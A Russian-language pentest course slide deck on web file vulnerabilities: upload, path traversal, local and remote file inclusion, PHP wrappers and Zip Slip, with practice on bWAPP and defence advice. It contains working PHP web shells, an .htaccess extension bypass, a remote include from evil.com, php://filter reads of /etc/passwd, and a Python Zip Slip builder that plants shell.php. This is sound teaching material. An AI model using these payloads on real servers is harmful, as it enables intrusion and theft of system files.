---
title: Web App Pentest - 0x07 File Issues
tags: CSR - Web App Pentest
slideOptions:
transition: 'fade'
parallaxBackgroundImage: 'https://i.imgur.com/YClZ1aY.jpg'
---
<style>
.reveal {
font-size: 36px;
}
</style>
# Web App Pentest
## File Issues
---
Темы занятия:
- File Upload
- Web Shell
- Mime Types
- Local File Read
- Local/Remote File Inclusion
- URL schema/PHP wrappers
- Arhive upload
---
## File Upload
---
## File Upload
Атакa, при которой атакующий может загрузить исполняемый файл в доступный каталог веб-приложения, после чего переход на него приводит к выполнению произвольного кода на сервере.
---
## Web shell
Веб-шелл - программа, предназначенная для выполнения команд ОС через веб-приложение.
https://github.com/tennc/webshell
---
## Web shell
Простейший веб-шелл на PHP:
```php=
<?php system($_GET['cmd']); ?>
```
---
## Web shell
Веб-шелл на PHP с выводом ошибок и возможностью загрузки файлов:
```php=
<?php
$x="pipe";
$z=array($x, "w");
$proc=proc_open($_REQUEST["c"],array(array($x,"r"),$z,$z),$ps);
echo "Output: \n".stream_get_contents($ps[1]).
"Errors: \n".stream_get_contents($ps[2]);
echo "\nWrited bytes: ".file_put_contents(
$_REQUEST["fname"],
base64_decode($_REQUEST["data"]));
?>
```
---
## Практика bWAPP
Other bugs/ Unrestricted File Upload
---
## Обход ограничений на расширения
Предположим что веб-приложение запрещает загружать файлы с расширением .php (реализует черный список).
Есть другие расширения
```
cat /etc/apache2/mods-available/php5.conf
```
---
## Обход ограничений на расширения
Предположим что веб-приложение запрещает загружать файлы с расширением .php (реализует черный список).
Для Apache можно загрузить .htaccess с содержимым:
```
AddType application/x-httpd-php .gif
```
После этого картинки в папке станут обрабатываться как PHP.
---
## Extension power
Веб-сервера обрабатывают файлы в зависимости от расширения.
https://mike-n1.github.io/ExtensionsOverview
---
## File Upload MindMap
https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Upload%20Insecure%20Files/Images/file-upload-mindmap.png
---
## JSP - web shell
<пример tomcat>
`docker run -p 8071:8080 cth123123/tomcat_vulnerable`
---
## File Upload - Как защищаться?
Рекомендуется:
* Сохранять файлы в БД
* Сохранять файлы на s3 bucket с отдельным доменным именем
* Загружать файлы вне webroot;
* Давать пользовательским файлам случайные имена, не использовать расширение загруженного файла;
Сложнее и хуже работают:
* Белый список расширений файлов;
* Проверка содержимого файла на соответствие типу (например, проверка того, что файл действительно картинка)
---
## MIME types
---
## MIME types
Multipurpose Internet Mail Extensions
Стандарт по именованию типов файлов.
Как правило веб-приложения определяют тип файла именно как MIME.
---
## MIME types
Два разных подхода:
* На основе содержимого файла
* На основе переданного MIME-типа
Во-втором случае тип может быть легко подделан.
---
## MIME types

---
## MIME types
Проверка на основе содержания файла может также быть неэффективна (смотря от чего мы защищаемся).
Есть известные полиглоты.
phar -> jpg/gif/etc. (в stub)
php -> gif/jpg/etc. (в любой секции данных)
---
## Path Traversal
---
## Path Traversal
Path (Directory) Traversal
Атака, при которой атакующий может передавать в параметре, соответствующем имени файла символы `../` (или `..\` для Windows) для доступа к файлам в других директориях.
---
## Path Traversal
bWAPP - Directory Traversal
---
## Path Traversal - Как защищаться?
* Вместо настоящих путей до файлов используйте идентификаторы, их и принимайте от пользователей.
* Нормализуйте путь, переданный пользователем, и проверяйте что результат внутри ожидаемой директории
* Блокируйте запросы в которых есть две точки подряд ".."
---
## Local & Remote File Inclusion
---
## Local File Inclusion
Уязвимость, при которой пользовательский ввод попадает в параметр функций `include` или `require` PHP, что может привести к выполнению загруженных пользователем файлов.
---
## Local File Inclusion
Пример работы функции `include`
---
## Local File Inclusion
Идея атаки следующая - загружаем файл с <?php ... ?>, а после передаем путь до него функции include.
```php=
include($_GET['page']);
```
page=upload/123.jpg
---
## Remote File Inclusion
Веб-приложение может "инклюдить" удаленные файлы, например:
```php
include('http://evil.com/123.php')
```
Возможно только при настройках PHP (в php.ini):
```
allow_url_include = On
allow_url_fopen = On
```
---
## LFI
bWAPP - Remote & Local File Inclusion
* Демонстрация LFI
* Демонстрация RFI (php.ini)
* Демонстрация LFI через файл сессии
---
## LFI - сессии
Файлы сессий могут лежать в:
- /tmp/sess_sessid
- /var/lib/php/session/sess_sessid
- /var/lib/php5/session/sess_sessid
Также посмотреть путь к директории с сессиями можно в выводе phpinfo().
---
## PHP и нулевой байт
Если приложение при включении файла добавляет расширение, а мы не можем загрузить .php:
```php=
include('/includes/'+$_GET['lang'] + '.php');
```
то может помочь нулевой байт
```
lang=../uploads/123.jpg%00
```
```php=
include('/includes/../uploads/123.jpg%00.php')
```
* Не работает в современных версиях PHP
---
## LFI/RFI - Как защищаться?
Создать белый список файлов, включение которых разрешено. Проверять что переданный параметр соответствует одному из этих файлов.
<Демонстрация в bWAPP security_level=2>
---
## Local File Read
---
## Local File Read
Атака, в результате которой атакующий получает возможность чтения файлов из файловой системы хоста с уязвимым приложением.
---
## Local File Read
А что читать то?
---
## Local File Read
* Стандартные файлы сервисов и ОС
* Исходный код
---
## Local File Read - Стандартные файлы
* /proc/*
* /etc/passwd, /etc/issue/, /etc/hosts, /etc/hostname, etc.
* Логи: /var/log
* Конфиги: nginx, apache, php, etc.
Неплохой перечень:
https://nets.ec/File_Inclusion
https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux
https://sushant747.gitbooks.io/total-oscp-guide/content/local_file_inclusion.html
---
## Local File Read - Исходный код
Положение webroot можно найти в конфиге nginx/apache
PHP/Python/JS: качаем index.php/wsgi.py/index.js, в нем смотрим зависимости, качаем их и т.д.
Компилируемые - качаем собранные модули и декомпилим
---
## Local File Read - Исходный код
C# - как правило код в DLL.
web.config как правило лежит в webroot и может содержать имя DLL
DLL можно скачать из webroot или webroot/bin
---
## Local File Read - Исходный код
C# - Декомпиляция:
* .Net Reflector
* ILSpy
* dotPeek
* dnSpy
Лучше два последних
---
## Local File Read - Исходный код
Java:
Код в .jar файлах либо в .class файлах
* `WEB-INF/web.xml` - тут описание всего приложения
* `WEB-INF/lib` - тут могут быть .jar
* `WEB-INF/classes` - тут в подпапках скомпилированные Java-классы
---
## Local File Read - Исходный код
Java - декомпиляция:
* JD-gui
* Jadx-gui
* fernflower
* bytecode-viewer - объединяет все выше указанные
https://github.com/Konloch/bytecode-viewer/releases
---
## URL Schema в операциях с файлами
---
## URL Schema
Полезные схемы:
* file:// - обращение к локальным файлам
* data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
---
## URL Schema
#### file://
Может в некоторых случаях помочь обойти какие-то блокировки
---
## URL Schema
#### data://
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
Может использоваться в LFI, если мы ничего не можем загрузить.
---
## PHP Wrappers
---
## PHP Wrappers
PHP поддерживает ряд схем-оберток, которые могут использоваться в операциях с файлами.
https://www.php.net/manual/en/wrappers.php
---
## PHP Wrappers
Схема` php://`
`php://input` - содержимое тела запроса
`php://filter/resource=/etc/passwd`
`php://filter/read=convert.base64-encode/resource=/etc/passwd` - применяет фильтры, позволяет читать локальные файлы
https://www.php.net/manual/en/wrappers.php.php
---
## URL Schema
Если разработчики запрещают использовать какие то схемы, которые нам хотелось бы (например, file://), то дополнительные схемы PHP могут нам помочь.
<Демонстрация data://
php://input
php://filter
>
---
## URL Schema
Практика - Wrappers.
---
## Archive Upload Issues
---
## Archive Upload Issues
С загрузкой архивов связано две основные проблемы:
1. В архиве содержатся файлы с ../ в имени (Zip Slip).
1. В архиве содержатся символические ссылки, что может привести к чтению/записи файлов вне ожидаемой директории
---
## Zip Slip
Файлы с `../../` распаковываются архиватором вне ожидаемой директории. В результате могут быть созданы или перезаписаны файлы приложения или системы.
---
## Zip Slip - создание архива
```python
zip -r zipslip.zip ../../../../app/index.php
```
---
## Zip Slip - создание архива
```python
import zipfile
from io import BytesIO
def _build_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../var/www/html/shell.php','<?php passthru($_GET["c"]); ?>')
z.close()
zip = open('poc.zip', 'wb')
zip.write(f.getvalue())
zip.close()
_build_zip()
```
---
## Zip Slip
Большинство утилит командной строки и библиотек на данный момент защищены от Zip Slip, но если разработчики считывают архив самостоятельно, то ошибки все еще возможны.
---
## Создание архивов
Чтобы не расставлять файлы в файловой системе перед их упаковкой командой zip, можно воспользоваться функцией на python.
---
## Symlinks
В архив может быть помещена символическая ссылка.
Если веб-приложение разархивирует симолические ссылки и позволяет читать разархивированные файлы, то мы можем прочитать файлы из других директорий.
---
## Symlinks
Создать архив с символической ссылкой:
```
ln -s ../../../../etc/passwd file
zip --symlinks res.zip file
```
Если веб-приложение позволяет читать разархивированные файлы, то мы можем прочитать файлы из других директорий.
---